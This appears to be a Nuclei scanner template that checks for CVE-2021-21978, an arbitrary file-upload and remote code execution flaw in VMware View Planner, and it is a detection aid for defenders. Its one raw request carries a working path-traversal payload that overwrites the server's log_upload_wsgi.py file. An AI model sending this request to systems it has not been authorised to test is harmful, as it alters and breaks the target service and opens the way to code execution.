id: CVE-2021-21978

info:
  name: VMware View Planner <4.6 SP1- Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
    An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
    file leading to remote code execution within the logupload container.
  remediation: |
    Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1367258907601698816
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21978
    - https://www.vmware.com/security/advisories/VMSA-2021-0003.html
    - http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21978
    cwe-id: CWE-20
    epss-score: 0.97399
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: view_planner
  tags: cve,cve2021,vmware,rce,packetstorm,fileupload,intrusive

http:
  - raw:
      - |
        POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: text/html
        Referer: {{BaseURL}}
        Connection: close

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="logfile"; filename=""
        Content-Type: text/plain

        POC_TEST

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(body) == 28"

      - type: word
        part: body
        words:
          - "File uploaded successfully."

      - type: status
        status:
          - 200

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